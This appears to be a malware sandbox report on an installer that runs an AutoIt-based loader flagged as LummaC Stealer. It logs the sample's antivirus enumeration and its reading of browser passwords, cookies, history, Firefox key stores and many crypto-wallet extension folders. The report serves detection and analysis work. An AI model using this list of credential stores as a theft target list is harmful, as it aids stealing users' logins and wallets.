Source: Likewise.com, 0000000C.00000003.2015371663.0000000003271000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000000.1730920359.0000000000863000.00000002.00000001.01000000.00000007.sdmp, Brandon.8.dr, Likewise.com.1.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowahk_idpidclassgroup%s%uProgram Manager\P{Xps}\H\P{Xan}\P{Lu}\P{Ll}\P{L}\p{Xps}\h\p{Xan}\p{Lu}\p{Ll}\p{L}\p{Xwd}\P{Xwd}\p{Xsp}\P{Xsp}\p{Nd}\P{Nd}Error text not found (please report)Q\E{0,DEFINEUTF8)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressioninternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: BrightLib.exe, 00000032.00000000.2648503782.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2699170981.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: regk-hookm-hook2-hooksjoypollPART(no)%s%s%s%s%s{Raw}%s%cHotstring max abbreviation length is 40.LEFTLRIGHTRMIDDLEMX1X2WUWDWLWRSendInputuser32{Blind}{ClickLl{}^+!#{}RawTempSsASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt sc%03Xvk%02XALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUP...%s[%Iu of %Iu]: %-1.60s%sHKLMHKEY_LOCAL_MACHINEHKCRHKEY_CLASSES_ROOTHKCCHKEY_CURRENT_CONFIGHKCUHKEY_CURRENT_USERHKUHKEY_USERSREG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYMasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightAddDefaultIconNoIconDestroyNamePriorityInterruptNoTimersTypeONLocalePermitMouseSendAndMouseMouseMoveOffPlayEventThenEventThenPlayYESNOOKCANCELABORTIGNORERETRYCONTINUETRYAGAINTimeoutMINMAXHIDEScreenRelativeWindowClientPixelCaretIntegerFloatNumberTimeDateDigitXdigitAlnumAlphaUpperLowerUTF-8UTF-8-RAWUTF-16UTF-16-RAWCPRemoveClipboardFormatListenerAddClipboardFormatListenerTrayNo tray memstatus AHK_PlayMe modeclose AHK_PlayMe.aut%s\%sRegClassAutoHotkey2Shell_TrayWndCreateWindoweditLucida ConsoleConsolasCritical Error: %s

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fd96fa9f VolumeInformation

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Code function: 50_2_00491486 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

50_2_00491486

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: find.exe, 00000029.00000002.2605976877.0000020C6BA20000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
